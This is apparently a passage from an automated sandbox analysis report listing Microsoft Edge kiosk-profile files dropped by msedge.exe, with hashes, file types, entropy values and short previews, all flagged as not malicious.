SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.019797536844534
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tkn:qolXtWswXU2tkn
MD5:	90881C9C26F29FCA29815A08BA858544
SHA1:	06FEE974987B91D82C2839A4BB12991FA99E1BDD
SHA-256:	A2CA52E34B6138624AC2DD20349CDE28482143B837DB40A7F0FBDA023077C26A
SHA-512:	15F7F8197B4FC46C4C5C2570FB1F6DD73CB125F9EE53DFA67F5A0D944543C5347BDAB5CCE95E91DD6C948C9023E23C7F9D76CFF990E623178C92F8D49150A625
Malicious:	false
Preview:	...n'................_mts_schema_descriptor...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.211879602600702
Encrypted:	false
SSDEEP:	6:ud8IcHM1wkn23oH+Tcwtkx2KLlcd8A0ROq2Pwkn23oH+TcwtCIFUv:1frfYebkVLtA0ROvYfYebLFUv
MD5:	74145B622FD9AB6E1569178D30E89D07
SHA1:	CE66E91BE3B0F5A8379F4BA684DC8C4E2793C015
SHA-256:	ED59D97813EB30AF16C3ADCFA94BEBBFC370D7F5173800BB10017AAE4B31EC15
SHA-512:	FE35EDDB8CFA537309856B762B050522D97A436D3838239F0D729523D3369D9E4A275C8E94097BC7E33AEBC76703795E8C0022D31063B9EB204BFC9B853F3264
Malicious:	false
Preview:	2024/08/31-20:48:13.210 1d44 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB since it was missing..2024/08/31-20:48:13.350 1d44 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.3528485475628876
Encrypted:	false
SSDEEP:	12:TLiN6CZhDu6MvDOF5yEHFxOUwa5qguYZ75fOSiPe2d:TLiwCZwE8I6Uwcco5fBtC
MD5:	F2B4FB2D384AA4E4D6F4AEB0BBA217DC
SHA1:	2CD70CFB3CE72D9B079170C360C1F563B6BF150E
SHA-256:	1ECC07CD1D383472DAD33D2A5766625009EA5EACBAEDE2417ADA1842654CBBC8
SHA-512:	48D03991660FA1598B3E002F5BC5F0F05E9696BCB2289240FA8CCBB2C030CDD23245D4ECC0C64DA1E7C54B092C3E60AE0427358F63087018BF0E6CEDC471DD34
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....4....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.002110589502647469
Encrypted:	false
SSDEEP:	3:ImtVbq/l:IiVm
MD5:	F0B0403A20B02B918FBBE27E70769244
SHA1:	A6995E8157E62380C35B93D8F9E9978898AF0833
SHA-256:	25941AFA68FF55C58E851DB2CD5FA21C90482949297020F348E5E7FB518443D7
SHA-512:	E743963DB4B37EB55F38E0BC59A1A0B3E82999DE7155422B31927BB3B9968E48DB26AE5F15541924B04858C4F5C22839C98599432600B4E557EF81FFD1E1CE2A
Malicious:	false
Preview:	VLnk.....?......}.....0.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	182272
Entropy (8bit):	1.0769876285285889
Encrypted:	false
SSDEEP:	192:erb2qAdB9TbTbuDDsnxCkOTSAE+WslKOMq+vVumYB9n66:e/2qOB1nxCkOTSAELyKOMq+vVumUp
MD5:	2764A20E13173F53CEA4CA7C1E78D0EE
SHA1:	3A7DDA95693F4ED5C80442F16AC94C6C7F688859
SHA-256:	9B94D217A1E14E0807301B87AD560D63C8C4A9DC1EF6014B1C049AED2AF79CF4
SHA-512:	813FE7431E82787AC75B0C1C08402883A6985AB9C45F92D8D69082F1603F0DD63ADA5BAE46E879A4FFBE7F635D76FCE047F6738AE26356CBD4888FC12E7EFF01
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	0.7836182415564406
Encrypted:	false
SSDEEP:	24:LLqlCouxhK3thdkSdj5QjUsEGcGBXp22iSBgm+xjgm:uOK3tjkSdj5IUltGhp22iSBgm+xj/
MD5:	AA9965434F66985F0979719F3035C6E1
SHA1:	39FC31CBB2BB4F8FA8FB6C34154FB48FBCBAEEF4
SHA-256:	F42877E694E9AFC76E1BBA279F6EC259E28A7E7C574EFDCC15D58EFAE06ECA09
SHA-512:	201667EAA3DF7DBCCF296DE6FCF4E79897C1BB744E29EF37235C44821A18EAD78697DFEB9253AA01C0DC28E5758E2AF50852685CDC9ECA1010DBAEE642590CEA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\a6a0c716-4edd-41d9-a7d6-0d95e3f621a3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24800
Entropy (8bit):	5.566277730107695
Encrypted:	false
SSDEEP:	768:bnynKZWP/DfF18F1+UoAYDCx9Tuqh0VfUC9xbog/OVyH3ssrwrAqupGtuZ:bnynKZWP/DfF1u1jaTXsFMqLt+
MD5:	8F472F2D50101167E8D9AE38B35AF738
SHA1:	ACB86146F5B276DEDD71608FE229A5AEE58F5BB9
SHA-256:	0A62B1A2C6A15F46941FB6DF7443B4CFEA2FFD905903E89CBEF4D25C5656D75B
SHA-512:	46F7C66F9C22B15463A2ED0E330297BF4336E9D5D8C6C2AB61722367861E526348630FDB8A5A8C40AD70D3D56E1B115C560FD5AF0ED013F42B66160DB101652A
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369625293213016","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369625293213016","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\af004796-fe65-495e-ab4b-2ec5108f0d7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6675
Entropy (8bit):	4.98104273711551
Encrypted:	false
SSDEEP:	96:stTqfQDis1mAkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3aQm2Mhu/EJ:stTj+sR39KNkcs88bV+FiABPhuMJ
MD5:	3454BF06DE24F7E75D1EC15A1CB1D915
SHA1:	FDA683AE9C8E53F1222B71FFE55904FF828B8543
SHA-256:	1E0A39892BB661CFD58C1D7989C98D8994C744F8BDC491F3A2220E11DF2C442D
SHA-512:	777BB8663AB56E4D6A46580C64535C32668C2337F725A3DBB1BD35695D69F083D9B0DAFE0F0E8F6D3FDBBC81236D5EA6EEDFED4EB91D1D248768CEB2E572BA76
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\b2fb4f36-90f0-4244-8e3b-90b5aa92c533.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6675
Entropy (8bit):	4.98102799435172
Encrypted:	false
SSDEEP:	96:stTqfQDis1mAkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3BQm2Mhu/EJ:stTj+sR39KNkcs88bV+FiAsPhuMJ
MD5:	98E344A6470F02ECEBEDC350A779852D
SHA1:	82A813485184520017DE34481BD935FE5BE4102A
SHA-256:	49AFC12B3E105E80ECBE3D01B7CB0F20AB3006AB84364322A6C05CF24FB69E54
SHA-512:	AD3CE666891C3E54A2FB359070A0823ABE939DEE7A758BA9082849676440C41E449A073144E634B80F789E60E80F734C758469D0D0D243F4E7AECB76BCB244DE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\b7ad7ad5-bee8-46f5-999e-5a48974304fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6528
Entropy (8bit):	4.982097461865343
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJS3fQm2Mhu/EJ:stTj+sT39KNkcs88bV+FiAlPhuMJ
MD5:	82BC4CE68FAA24056FC6DAD3EDFEB1A4
SHA1:	89B29A78A7F76DA1E132E8FF97C137F216E5BEDE
SHA-256:	2C6AD259F4701A4A9F3A5BC1E52B498851DB5AEDA827D5C354EF374C5F9BCDC0
SHA-512:	BF58C77ECBCFF86982151A922CFB66CA3A7EDC949AD61196F263F0C5B12E0EF5A38913A9F34512881A4935B53FE77FB16BD1C5C2D2160C06E36F2B3015A79866
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\c9b67eb6-252f-401a-b05e-f3c0c759c60e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24799
Entropy (8bit):	5.566177773629696
Encrypted:	false
SSDEEP:	768:bnynKZWP/DfW18F1+UoAYDCx9Tuqh0VfUC9xbog/OVyH3ssrwrAqipGtuz:bnynKZWP/DfW1u1jaTXsFMqvtk
MD5:	1E64FAE5992E4B27677C5248035564BE
SHA1:	D49934062B3A4F3EAAF62AD24A8C22F99F00B205
SHA-256:	F59F20B3753FF6284DDFF0E50238D3A6D8C82FD19D61403BC2520B17D5B7E7AB
SHA-512:	BEF546787FB844A3ED726F7B07C56157A6B7081FFAAC9EBF0318316CF44E055D42804BD4A0FFE6380ECFAADE8A75FBB41588F9047D40EB39B6349DA5C1FC5B3F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369625293213016","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369625293213016","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\d035f4ee-746a-4460-8fd4-cd448b551d27.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6675
Entropy (8bit):	4.98102799435172
Encrypted:	false
SSDEEP:	96:stTqfQDis1mAkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3BQm2Mhu/EJ:stTj+sR39KNkcs88bV+FiAsPhuMJ
MD5:	98E344A6470F02ECEBEDC350A779852D
SHA1:	82A813485184520017DE34481BD935FE5BE4102A
SHA-256:	49AFC12B3E105E80ECBE3D01B7CB0F20AB3006AB84364322A6C05CF24FB69E54
SHA-512:	AD3CE666891C3E54A2FB359070A0823ABE939DEE7A758BA9082849676440C41E449A073144E634B80F789E60E80F734C758469D0D0D243F4E7AECB76BCB244DE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\eae87afa-4469-4216-91fa-9f28491b3730.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6630
Entropy (8bit):	4.984061811734383
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3ZQm2Mhu/EJ:stTj+sT39KNkcs88bV+FiAOPhuMJ
MD5:	284ABC916F534F959008A1F52849BF2A
SHA1:	4E5018221BBBF31CD9103F077BBDC76478A5DE63
SHA-256:	029956F765BECA1D2050DC1E33AFD8BC46AF2C77110BC61FADDB79672DF57BDE
SHA-512:	E50CE6EB4A4D2F6C135C00DF9D75C1ECECD044A617952EC55997EBF710123916B0078D58070CF43E31508AFD72F19643B74F56CACEEAEAEE9C1FE2A4193A20AD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\fa39ee7b-cdb9-4ffe-af79-41bd0e2de2c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6630
Entropy (8bit):	4.983967763723581
Encrypted:	false
SSDEEP:	96:stTqfQDis1dkb9mP9vyN8zcs85eh6Cb7/x+6MhmuecmAeJN3+wQm2Mhu/EJ:stTj+sT39KNkcs88bV+FiAIPhuMJ
MD5:	AB45A3568D601844B0523DEB12C2DB24
SHA1:	F5162C8E7BA2D63F2BBD08F7F047978976913452
SHA-256:	FEFF11616299E9DDADAA347D5FF88F5612250ACB8732884CA2C9DA0714D7F985
SHA-512:	0003FE7AC4A3B14B014FA672F3A2FB3F196CA437CBA82F111328BDB1AFAC3EEB4394A955158A1367195946A09367222224896CA8FB7CDF93BFEC3011F8DFC9B3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13369625293846693","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"domain_diversity":{"last_reporting_timestamp":"13369625293845905"},"download":{"default_directory":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\KioskDownloads\\","directory_upgrade":true},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, writer version 2, read version 2, file counter 1, database pages 1, cookie 0, schema 0, unknown 0 encoding, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.0905602561507182
Encrypted:	false
SSDEEP:	3:lSWFN3sl+ltlMWll:l9Fys1M
MD5:	A8E75ACC11904CB877E15A0D0DE03941
SHA1:	FBEE05EA246A7F08F7390237EA8B7E49204EF0E0
SHA-256:	D78C40FEBE1BA7EC83660B78E3F6AB7BC45AB822B8F21B03B16B9CB4F3B3A259
SHA-512:	A7B52B0575D451466A47AFFE3DCC0BC7FC9A6F8AB8194DA1F046AADA0EDDCCA76B4326AA9F19732BA50359B51EC72896BB8FA2FC23BAA6847C33AB51218511A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.28499812076190567
Encrypted:	false
SSDEEP:	3:7FEG2l//y1lFll:7+/l//
MD5:	4822D8A4D26D08DE8D422ED00152EE9E
SHA1:	7DECF1974014E0DF3113D6998C12A90471884F61
SHA-256:	CA3AED6EA28884EADC20EC619EBE17AB1C7DEC29D0CFE3BE780A1CACC790358E
SHA-512:	E5E96BB538BFC602B5AE327C73E0B110406F0D5DAC6A9DC72B4BA3C4BAD95FAF44DD2A774F04FD3C9DE03C62737C4BD8DA6B1DC9DA2774F4D508BC4F7071C88E
Malicious:	false
Preview:	.... .c.......'J................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04976972480817267
Encrypted:	false
